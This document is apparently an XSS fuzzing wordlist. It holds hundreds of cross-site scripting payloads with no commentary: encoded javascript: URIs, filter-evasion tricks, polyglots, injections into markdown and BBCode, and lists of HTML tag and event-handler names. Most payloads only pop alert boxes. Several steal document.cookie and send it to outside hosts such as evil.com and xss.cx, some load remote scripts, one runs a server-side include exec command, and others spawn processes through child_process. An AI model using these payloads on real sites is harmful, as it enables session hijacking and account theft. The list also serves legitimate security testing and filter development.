Event.prototype.toString=[].join;Event.prototype.length=1;Event.prototype[0]=1;onhashchange=alert;onmessage=alert;
Event.prototype[0]='@garethheyes',Event.prototype.length=1;Event.prototype.toString=[].join;onload=confirm
ExternalInterface.call("document.write","<script>confirm(1)</script>");
ExternalInterface.call("eval","myWindow=window.open('','','width=200,height=100'); myWindow.document.write(\"<html><head><script src=\'http://xss.cx/xss.js\'></script></head><body>hi</body></html>\");myWindow.focus()");
For([]o\u{66}!\u{61}\u{6c}\u{65}\u{72}\u{74}`1`)\u{66}
Function("a=`","`,xss=1){alert(xss)")()
Function('){alert()//', '')();
Function('a=[class A extends Function(','}]){alert(1)')()
Function.prototype.toString=Function.prototype.call;"alert(1)//".replace("//",Function)
Function`$${`a${`l${`e${`r${`t${`(${`1${`)`}`}`}`}`}`}`}`}$```
Function`alert(1)```````````
JSON.parse('{"__proto__":["a",1]}')
JaVAscRIPT:confirm(4)
JaVaScRipT:alert(1)
JaVaScRipT:confirm(1)
JavaSCript:alert(123)
JavaSCript:alert(17)
L
Object.bind(null,alert)()(1)
Object.defineProperties(window,{'location':{value:'javascript:alert(1)'}})
Object.prototype[Symbol.toStringTag]='<svg/onload=alert(1)>';location='javascript:1+{}'
Object.prototype[Symbol.toStringTag]='<svg/onload=alert(1)>';while(1){}location='javascript:1+{}'
PGlmcmFtZSBzcmM9aHR0cDovL3Rlc3QuZGU+
Redirect 302 /vlab.jpg http://vulnerability-lab.com/admin.asp&deleteuser
SCRIPT>">'><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>
String.fromCharCode(0xffff+0x3d)
String.raw`jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e`;
V
X<form id=test onforminput=javascript:alert(1)><input></form>
X<form id=test><input></form><button form=test onformchange==javascript:alert(1)>X
X<x style=`behavior:url(#default#time2)` onbegin=`write(1)` >
XXX<style>*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */<!----><!--*{color:red} /* all UA */*{background:url(xx:x //**/\red/*)} /* IE 6-7 Standards mode */</style>
[1].every(alert)
[1].filter(alert)
[1].findIndex(alert)
[1].map(alert)
[A]<? foo="><script>alert(1)</script>"><! foo="><script>alert(1)</script>"></ foo="><script>alert(1)</script>">[B]<? foo="><x foo='?><script>alert(1)</script>'>">[C]<! foo="[[[x]]"><x foo="]foo><script>alert(1)</script>">[D]<% foo><x foo="%><script>alert(1)</script>">
[F,B,Z,S,J,O,W,U,E] = [!!0] + !0;eval(eval("window.B+Z+window.J+window.W+O+'(0b10100111001��_–)
[U+2028]confirm(1)
[XSS](javascript:confirm(6))
[\xC0][\xBC]script>alert('XSS');[\xC0][\xBC]/script>
[\xC0][\xBC]script>alert(1);[\xC0][\xBC]/script>" };
[].constructor.constructor("alert" + "(1)")()
[][ㅤ='constructor'][ㅤ]('alert(1)')()
[][ㅤ=/constructor/.source][ㅤ](/alert(1)/.source)()for(n in{constructor:0})[][ㅤ=n][ㅤ](/alert(1)/.source)())
[a](javascript:alert('XSS'))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](j a v a s c r i p t:prompt(document.cookie))
[a](javascript:prompt(document.cookie))
[alert(1)]+
[b][style="onmouseover="alert(1);]bold[/style][/b]
[b][style="style=width:expre/**/ssion(alert(1))xt]bold[/style][/b]
[citelol]: (javascript:prompt(document.cookie))
[data "1<div style=width:expression(prompt(1))>"]
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
\
\"));}catch(e){confirm(document.domain);}//
\"));}catch(e){confirm(document.domain)}//
\"));}catch(e){x=window.open('http://xss.cx/');setTimeout('confirm(x.document.body.innerText)',4000)}//
\"; alert(0x000123)
\";alert('223');//
\";alert('CrossSiteScripting');//
\";alert('X');//
\";alert(1);//
\";confirm(1);//
\";confirm(document.location);//
\"<scr<script>ipt>alert(0x000123)</scr</script>ipt>
\">'</style></script><script>alert(0x000123)</script>
\"></sCriPt><sCriPt >alert(0x000123)</sCriPt>
\"></script><script>alert(0x000123)</script>
\"></style></script><script>alert(0x000123)</script>
\"><0x000123>
\"><BODY ONLOAD=alert(0x000123)>
\"><body onload=\"1\">
\"><img Src=0x94 onerror=alert(0x000123)>
\"><sCriPt>alert(0x000123)</sCriPt>
\"><scr<script>ipt>alert(0x000123)</script>
\"><script>1<\\/script>
\"><script>alert(/X/)<script>
\"><script>alert(0x000123)</script>
\"};with(window){onload=function(){ with(document){k=cookie;};with(window){location='http://evil.com/?a=test'%2bk;};}}//;
\%22))}catch(e){}if(!self.a)self.a=!alert(1)//
\%22))}catch(e){}if(!self.a)self.a=!confirm(document.cookie)//
\%22;confirm(1);//
\%22}%29%29%29}catch%28e%29{confirm%28document.domain%29;}//
\'-a\u{6c}e\u{72}t(1))%0a-->
\'><body onload=\'X\'>
\'><script>X<\/script>
\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=X>
\'\'\">
\000045xpr\000065 ss/*BlABl/\\aaaaa!!!*
\\\'><body onload=\\\'1\\\'>
\\\'><script>1<\\/script>
\\”;alert(1)//
\nconfirm(1)
\u0022onmouseover=\u0022alert(1)
\u0027 confirm(1); \u0027
\u003E
\u003cscript\u003econfirm(\u0027XSS\u0027)\u003c/script\u003e
\u003e
\u0061\u006c\u0065\u0072\u0074
\u0061\u006c\u0065\u0072\u0074(1)
\u0061lert(1)
\u{61}l\u{65}rt`1`
\x3Cscript\x3Ealert(document.domain);\x3C\x2Fscript\x3E
\”;alert(1)//
^alert(1)^
`"'><img src=xxx:x \x00onerror=javascript:alert(125)>
`"'><img src=xxx:x \x09onerror=javascript:alert(123)>
`"'><img src=xxx:x \x0Aonerror=javascript:alert(118)>
`"'><img src=xxx:x \x0Bonerror=javascript:alert(120)>
`"'><img src=xxx:x \x0Conerror=javascript:alert(124)>
`"'><img src=xxx:x \x0Donerror=javascript:alert(121)>
`"'><img src=xxx:x \x20onerror=javascript:alert(127)>
`"'><img src=xxx:x \x22onerror=javascript:alert(119)>
`"'><img src=xxx:x \x27onerror=javascript:alert(126)>
`"'><img src=xxx:x \x2Fonerror=javascript:alert(122)>
`,alert(1337)'autofocus="
`;alert(1337)'autofocus x="
`<b\x20#x (click)="x.inn\x65rHTML='\x3ciframe onload=alert(1)\x3e'">CLICK</b>`
``onerror=prompt(1)
a="get"; b="URL(\""; c="javascript:"; d="alert(1);\")"; eval(a+b+c+d);
a="get";b="URL";c="javascript:";d="alert(1);";eval(a+b+c+d);
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);
a="get";b="URL(\"";c="javascript:";d="alert(1);\")";eval(a+b+c+d);
a=%1B$*H%1BN&b=%20type=image%20src=x%20onerror=alert(document.c haracterSet);//
a=<script>alert(1);/*&b=*/</script>
a=`${alert/*}`;
a=alert a(0)
a=function(){},(p=>p.c=()=>alert('d'))(a.prototype),b=new a,b.c()
abbr
acronym
add <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js></SCRIPT>'"-->
add name <script>alert('VL')</script>
add topic <iframe src=http://www.vulnerability-lab.com>
add user <script>alert(document.cookie)</script> <script>alert(document.cookie)</script>@gmail.com
address
alert('XSS')>
alert(/1/.source)
alert(/XSS/);
alert(1 === 1)
alert(1)('lol','lol')('lol','lol')('lol','lol')('lol','lol').x.y.LOL()
alert(1,)//
alert(String.fromCharCode(49))
alert(String.fromCharCode(75,67,70))//";alert(String.fromCharCode(75,67,70))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>
alert(a.source)</SCRIPT>
alert(document["cook" + ([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]])
alert(document['cookie'])
alert(this["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ]["cook" + ([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]])
alert.call(this, document.cookie)
alert?.(document?.cookie)
animate
animatemotion
animatetransform
applet
area
article
ascript:alert('WXSS');"">"
asfunction:getURL,javascript:alert(1)//
aside
audio
avascript:alert(1)
b
b="URL(\"";
b=`*/(1)}`;
background-image: url(javascript:prompt(1))
base
basefont
bdi
bdo
behaviour:url\0028javascript:alert\0028[0][0]\0029\0029
bgsound
big
blink
blockquote
body
br
button
c="javascript:";
calleja%22+%3C%3Conload%3E%3E%3D%22ale%3C%3C%3C%3E%3Ert%3C%28199%3C%29%3E%3E%22<a href="javascript:\u0061le%72t(1)"><button>
canvas
caption
center
charset=utf- 32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
charset=utf-8&v=”><img src=x onerror=prompt(0);>
cite
class X {public static function main() { flash.Lib.getURL(new flash.net.URLRequest(flash.Lib._root.url||"javascript:alert(1)"),flash.Lib._root.name||"_top"); }}
code
col
colgroup
command
confirm(1)".replace(/.+/,eval)//
confirm(1)>>>/xss
confirm(<xss>xs{[function::status]}s</xss>)
confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//--
confirm(document.location)
confirm(document.selection.createRange().getBookmark())
confirm(location.hostname)
confirm(window.toStaticHTML('<base href="http://xss.cx/"></base>'));
confirm(window.toStaticHTML('<label style="overflow:hidden;background:red;display:block;width:4000px;height:4000px;position:absolute;top:0px;left:0px;" for="submit">Click'));
confirm(window.toStaticHTML('<marquee>foo</marquee>'));
confirm`1`; var something = `abc${confirm(1)}def`; ``.constructor.constructor`confirm\`1\````;
content
custom tags
data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
d="alert('CrossSiteScripting');\")";
data
data:_;;;:;base64_______,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5wcm9tcHQoMSk8L3NjcmlwdD4=
data:html=1;alert(1)/*,<body%20onload=eval(location.href)><title>*/;alert(2)}
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+cHJvbXB0KDEpOzwvc2NyaXB0Pjwvc3ZnPg==
data:text/html,%3Cscript%3Ealert(1)%3C%2Fscript%3E
data:text/html,%3Cscript%3Ealert(1)%3C/script%3E
data:text/html,<script>alert(1)</script>
data:text/html,<script>alert(document.domain)</script>
data:text/html,<script>confirm(0);confirm(1);location.reload();</script>
data:text/html;,<script>prompt(1)</script>
data:text/html;alert(1)/*,<svg%20onload=eval(unescape(location))><title>*/;alert(2);function%20text(){};function%20html(){}
data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
data:text/html;base64,PHNjcmlwdD5wcm9tcHQoMSk8L3NjcmlwdD4=
data:text/html<svg/onload=parentNode.parentNode.parentNode[/locatio/.source+/n/.source]='javascript:confirm(4)'//>
datalist
dd
defineSetter('x',confirm); x=1;
del
delete []['__proto__']['toString'];[]['__proto__'][Symbol.toStringTag]='=alert(1)';eval([1,2,3]+'');
delete [a=confirm],delete a(1)
delete confirm(1)
delete~[a=confirm]/delete a(1)
details
dfn
dialog
dir
discard
div
dl
document.__parent__._=alert
document.body.innerHTML=('<\000\0i\000mg src=xx:x onerror=confirm(1)>')
document.cookie='xss=xss;domain=.cx.'
document.getElementsByName("login").item(0).src = http://xss.cx/
document.location="http://127.0.0.1:3555/xss_serve_payloads/X.html"
document.location="http://xss.cx/default.aspx?c=" + document.cookie
document.location='http://127.0.0.1:3555/xss_serve_payloads/X.html'
document.location=window.name%2b%27//%27%2b
document.location=window.name+'//'+
document.write("<scr"+"ipt language=javascript src=http://localhost/></scr"+"ipt>");
document.write('<iframe src="http://127.0.0.1:3555/xss_serve_payloads/X.html" style="border: 0; width: 100%; height: 100%"></iframe>')
document.write('<img src="<iframe/onload=confirm(1)>\0">')
document.write('<ı onclıck=alert(1)>asd</ı>'.toUpperCase()
dt
echo('IPT>alert(1)</SCRIPT>'); ?>
echo('IPT>alert("CrossSiteScripting")</SCRIPT>'); ?>
element
em
embed
eval("1+1?>");eval("1+1</script>");eval("1+1//?>");
eval("\x61\x6c\x65\x72\x74\x28\x31\x29â€)
eval("ale" + (!![]+[])[+!+[]]+(!![]+[])[+[]])(1)
eval("aler"+(!![]+[])[+[]])("X")
eval("s=document.createElement('script');alert(1);document.getElementsByTagName('head')[0].appendChild(s)")
eval('\141\154\145\162\164\50\61\51')
eval('\\u'+'0061'+'lert(1)')
eval('\u00' + '6' + '1'+'le' + '\u0072' + 't(1)')
eval('\x61\x6c\x65\x72\x74(1)')
eval('\x61ler\x74(1)')
eval('alert(1)')
eval(((_=!1)+{})[1]+(_+{})[2]+(_+{})[4]+((_=!!1)+{})[1]+(_+{})[0]+((_=>(_))+1)[3]+1+((_=>(_))+1)[5])
eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
eval((_=!0+(()=>0)+!1)[10]+_[11]+_[3]+_[1]+_[0]+_[4]+1+_[5])
eval(0x258da033.toString(30))(1)
eval(1558153217..toString(36))(1)
eval(630038579..toString(30))(1)
eval(JSON.stringify({a:1},null,'alert(1)//'))
eval(String.raw({raw:'aet(1)'},'l','r'))
eval(Symbol(')-alert(1').toString())
eval(`${`${`${`${`${`a`}`}`}`}`}${`${`${`${`${`l`}`}`}`}`}${`${`${`${`${`e`}`}`}`}`}${`${`${`${`${`r`}`}`}`}`}${`${`${`${`${`t`}`}`}`}`}${`${`${`${`${`(1)`}`}`}`}`}`)
eval(`ale${[[[[]=[]]=[[]=[]]]=[[]=[]]]=[]}rt(1)`);
eval(atob('amF2YXNjcmlwdDphbGVydCgxKQ'));
eval(location.hash.slice(1))
eval(location.hash.slice(1))//
eval(location.hash.slice(1));
eval(v+l+a+b);
evil=/ev/.source+/al/.source,changeProto=/Strin/.source+/g.prototyp/.source+/e.ss=/.source+/Strin/.source+/g.prototyp/.source+/e.substrin/.source+/g/.source,hshCod=/documen/.source+/t.locatio/.source+/n.has/.source+/h/.source;7[evil](changeProto);hsh=7[evil](hshCod),cod=hsh.ss(1);7 evil](cod)
exp/*<A STYLE='no\X:noX("*//*");
exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*");CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(document.cookie=true)'>
exp/*<A STYLE='no\X:noX("*//*");X:ex/*X*//*/*/pression(alert(1))'>
exp/*<A STYLE='no\X:noX("*//*");X:ex/*X*//*/*/pression(alert("X"))'>
expr\65 ss/*???*/ion(URL=0);
expr\65 ss/*\%/ion\28URL=0\29
expr\65 ssion(URL=0)
expression(URL=0)
expression\28URL=0\29
external.NavigateAndFind('http://xss.cx',[],[])
f=(x=alert(1))=>{};f();
feed:data:text/html,%3cscript%3ealert%281%29%3c/script%3e
feed:data:text/html,%3csvg%20onload=alert%281%29%3e
feed:javascript:alert(1)
feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/>
feed:javascript:alert(1)
fieldset
figcaption
figure
font
foo%00<script>alert(1)</script>
foo%00<script>alert(document.cookie)</script>
foo\; alert(1);//;
foo\; alert(document.cookie);//;
foo\í; alert(document.cookie);//í;
foo\’; alert(1);//’;
footer
for((i)in(self))eval(i)(1)
for([]o\u{66}!\u{61}\u{6c}\u{65}\u{72}\u{74}`1`)\u{66}
for(i in{𓉡󠅬󠅥󠅲󠅴󠄨󠄱󠄩:0})for(n in{constructor:0})[][ㅤ=n][ㅤ](unescape([...escape(i)].filter((a,b)=>b%12<1|b%12>9?a:0).join([])))(
form
frame
frameset
function document::onreadystatechange(){alert(1);}
function xss(why,){}//
getURL("javascript:confirm(document.location)")
h1
head
header
header('Refresh: 0;url=javascript:confirm(1)');
hgroup
hr
html
htmlStr = '<a href="'+*dataentities*+'javascript:123">test</a>'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { customLog(*dataentities*); } }catch(e){};
htmlStr = '<a href="javascript'+*dataentities*+'123">test</a>'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { customLog(*dataentities*); } }catch(e){};
htmlStr = '<a href="javascript'+*dataentities*+':123">test</a>'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { customLog(*dataentities*); } }catch(e){};
http://%22%20onerror=%22alert%281%29;//
http://a/%%30%30
http://aa<script>alert(123)</script>
http://jsfiddle.net/xboz/c7vvkedv/
id=XSS SRC=
<IMG 6;avascript:alert('XSS')>
if(1)confirm(1)}{
iframe
image
image2
image3
img
img2
input
input2
input3
input4
ins
insert <script>alert(document.cookie)</script>
isindex
javAscRipt:alert(1)
javAscRipt:alert(1)
j
a
vas
cript:confirm(1);
jAvAsCrIpT:prompt(1)
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3ejaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(3))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(4)//>\x3e
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(3))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(4)//>\x3e
javaSCRIPT:alert(1)
javaSCRIPT:confirm(1)
javas	cript:\u0061lert(1);
javasCript:eval%28'aler'+'t'+'%28%29'%29
javascr%0d%0aipt%3Aalert.call(this,%20document.domain)
javascript:confirm(1)
javascript	:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:confirm(document.cookie)
javascript:alert(1)
javascript:"/*'/*`/*--><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:/*></marquee></script></title></textarea></noscript></style></xmp>> [img=1]<img -/style=-=expression(/*/-/*',/**/eval(name)//);wi dth:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript :eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"/>
javascript:/*-- >]]]]><![CDATA[>%>?></script></title></textarea></noscript></style></xmp>">[img=1,name=/alert(1)/.source]<img - /style=a:expression(/*'/- /*',/**/eval(name)/*%2A///*///);width:100%;height:100%;position:absolute;-ms- behavior:url(#default#time2) name=alert(1)onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>"
javascript:/*-- >]]]]><![CDATA[>%>?></script></title></textarea></noscript></style></xmp>">[img=1,name=/alert(1)/.source]<img - /style=a:expression(/*'/- /*',/**/eval(name)/*%2A///*///);width:100%;height:100%;position:absolute;-ms-behavior:url(#default#time2) name=alert(1)onerror=eval(name) src=1 autofocus onfocus=eval(name)onclick=eval(name) onmouseover=eval(name) onbegin=eval(name)background=javascript:eval(name)//>"
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+//+/onmouseover=1/+/[*/[]/+alert(1)//'>
javascript:/*-->]]]]><![CDATA[>%>?></script></title></textarea></noscript></style></xmp>">[img=1,name=/alert(1)/.source]<img -/style=a:expression(/*'/-/*',/**/eval(name)/*%2A///*///);width:100%;height:100%;position:absolute;-ms-behavior:url(#default#time2) name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>"
javascript:/*–></marquee></script></title></textarea></noscript></style></xmp>”> [img=1]<img -/style=-=expression(/*’/-/*',/**/eval(name)//);wi dth:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript :eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>”"/>
javascript://comment%0a%0dalert(0);
javascript:HTMLDocument.__proto__.__defineSetter__("prototype",function(){try{d.d.d}catch(e){confirm(e.stack)}})
javascript:\u0061lert(1)
javascript:\u0070rompt(1)
javascript:_e({}, 'cvml', 'test-01-'-alert(1)-'');
javascript:alert(1);
javascript:c=String.fromCharCode;alert(c(83)+c(117)+c(109)+c(79)+c(102)+c(80)+c(119)+c(110)+c(46)+c(110)+c(108))
javascript:confirm(0);
javascript:confirm(1)
javascript:confirm(1)//
javascript:confirm(1);
javascript:confirm(7)//://svg
javascript:eval(unescape(location.href))
javascript:prompt(/XSS/.source);var x = prompt;x(0);x(/XSS/.source);x
javascript:prompt(1)
javascript:prompt(1)#{"action":1}
javascript:propmpt(1)
javascript<TAB>:alert(1)
kbd
keygen
label
legend
li
link
listing
location.href`javascript:alert(1)`
location.reload`javascript:alert(1)`
location='vbscript:alert(1)'
location='javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c %75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)'
location='javascript:%61%6c%65%72%74%28%31%29'
location='javascript://\u2028alert(1)';
location='javascript\u0000:alert()'
location=javascript:confirm(0);.
location=location.hash
location=location.hash.slice(1);
location=name//','javascript:alert(1)');
location`javascript:alert(1)`
main
map
mark
marquee
menu
menuitem
meta
meter
multicol
nav
navigateToURL(new URLRequest("Javascript: document.write(\"<script>confirm(1)</scr\"+\"ipt>\")"),"_self")
new Function(location.search.slice(1))();
new XMLHttpRequest().open("GET", "data:text/html,<svg onload=confirm(2)></svg>", false);
new class extends class extends class extends class extends alert(1){}{}{}{}
new new new new new alert`1`
new new new new new`${alert(1)}`
nextid
nobr
noembed
noframes
noscript
null%22%20style%3d%22background%3aexpression%28confirm%282727%29
o={1.e+1111(){alert(arguments.callee);}};o[1e1111]()//
object
object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>
ol
om.Char.Code</button></body></html>
onactivate
onafterprint
onanimationcancel
onanimationend
onanimationiteration
onanimationstart
onauxclick
onbeforeactivate
onbeforecopy
onbeforecut
onbeforedeactivate
onbeforepaste
onbeforeprint
onbeforeunload
onbegin
onblur
onbounce
oncanplay
oncanplaythrough
onchange
oncontextmenu
oncopy
oncut
ondblclick
ondeactivate
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
onend
onended
onerror=confirm;throw 1;
onerror=eval;throw'=confirm\x281\x29';
onerror=eval;throw'alert\x281\x29';
onfinish
onfocus
onfocusin
onfocusout
onhashchange
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload='X' \" onload=\"X\"/onload=\"X\"/onload='X'/
onload=\"a='aler';d='XSS';b='t('+d+')';c=a+b;console.log(eval(c));
onload=confirm(1)//
onloadeddata
onloadedmetadata
onloadend
onloadstart
onmessage
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover=alert(1);
onmouseup
onpageshow
onpaste
onpause
onplay
onplaying
onpopstate
onreadystatechange
onrepeat
onreset
onresize
onscroll
onsearch
onseeked
onseeking
onselect
onstart
onsubmit
ontimeupdate
ontoggle
ontransitioncancel
ontransitionend
ontransitionrun
onunhandledrejection
onunload
onvolumechange
onwaiting
onwheel
open`javascript:alert(1)//#${'_self'}`
optgroup
option
output
p'rompt(1)
param
parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
parseInt("prompt",36);
perl -e 'print "<IMG SRC=java\0script:alert(\"218\")>";' > out
perl -e 'print "<IMG SRC=java\0script:alert(\"CrossSiteScripting\")>";' > out
perl -e 'print "<IMG id=XSS SRC=java\0script:alert(\"XSS\")>";' > out
perl -e 'print "<SCR\0IPT>alert(\"CrossSiteScripting\")</SCR\0IPT>";' > out
picture
plaintext
pre
process.open("/Applications/Calculator.app/Contents/MacOS/Calculator");
progress
prompt(0x0064)
prompt(1)-eval(JSON.parse(name).input)
prompt(9)
prompt(location.hash)
prompt(top.dump?'Firefox':top.Debug?'IE':top.Rect?'Safari':'Chrome')
prompt`${document.domain}`
prototype.join=function(){confirm("PWND:"+document.body.innerHTML)}')();
q
rb
rp
rt
rtc
ruby
s%22%20%22+STYLE%3D%22background-image%3A+expression%28alert%28%27X%3F%29%29
s%22%20style=%22background:url(javascript:alert(X))
s%22%20style=%22background:url(javascript:alert(’X’))
s%22%20style=x:expression(alert(1))
samp
script
section
select
set
set system contact <script>alert('VL')</script>
set system location "><iframe src=a onload=alert("VL") <
set system name <iframe src=http://www.vulnerability-lab.com>
set vlan name 1337 <script>alert(document.cookie)</script>
setInterval('location.hash="⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏"[i++%10]',i=99)
setInterval(location.search.slice(1));
setTimeout('alert(1)',0)
setTimeout(\u0061\u006c\u0065\u0072\u0074(1),0);
setTimeout// (name// ,0)
setTimeout`alert(1);//${1000}`
shadow
slot
small
source
spacer
span
src=JaVaSCript:prompt(132)
src=JaVaSCript:prompt(19)
strike
strong
style
sub
summary
sup
svg
table
tbody
td
template
textarea
tfoot
th
thead
this["alert"]("X")
this["ownerDocu"+"ment"]["loca"+"tion"]=”//google.com”
this['EvAL'.toLowerCase()]('aLErT(1)'.toLowerCase())
this['ale'+(!![]+[])[-~[]]+(!![]+[])[+[]]]()
this['alert'](1)
this[Object["keys"](this)[146]](1)
this[Object["keys"](this)[5]](1)
throw delete~typeof~confirm(1)/
time
title
toJSON=alert;JSON.stringify(window);
top.__proto__._= alert
top.require('child_process').execSync('open -a Calculator')
top['a\x6Cert'](1)
top[630038579..toString(30)](1)
tr
track
try{'a' (alert(1)) in 'a'}catch(e){ 'a' (alert(2)) instanceof 'a'}
try{confirm(document.domain)}catch(e){location.reload()}
tt
typeof delete typeof delete void void new new alert`1`
u
ul
var
var a=0; ((a == 1) ? 2 : alert(1));//
var a=0; ((a == 1) ? 2 : confirm(1));//
var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0
var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";document.documentElement.innerHTML = data;
var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";document.head.outerHTML = data;
var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";document.write(data);document.close();
var m='alert(0)';var o='';for(var i=0;i<m.length;i++) {o+='\\'+(m[i].charCodeAt().toString(8));}[]['\143\157\156\163\164\162\165\143\164\157\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\60\51')();[]['constructor']['constructor']
var re = /jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e/;
var str = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";
var str = 'jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e';
var{x:x,x=alert(1)}=1;
var{x:y,}=1
vbscr	ipt:alert(1)"
vbscr	ipt:confirm(1)"
vbscript:alert(1);
vbscript:confirm(1);
vbscript:alert(1);
vbscript:confirm(1);
vbscript:prompt(1)#{"action":1}
video
void''??globalThis?.alert?.(...[0b1_0_1_0_0_1_1_1_0_0_1,],)
wbr
width:ex/**/pression(prompt(1))
width:\0065\0078\0070\0072\0065\0073\0073\0069\006F\006E\0028\0070\0072\006F\006D\0070\0074\0028\0031\0029\0029
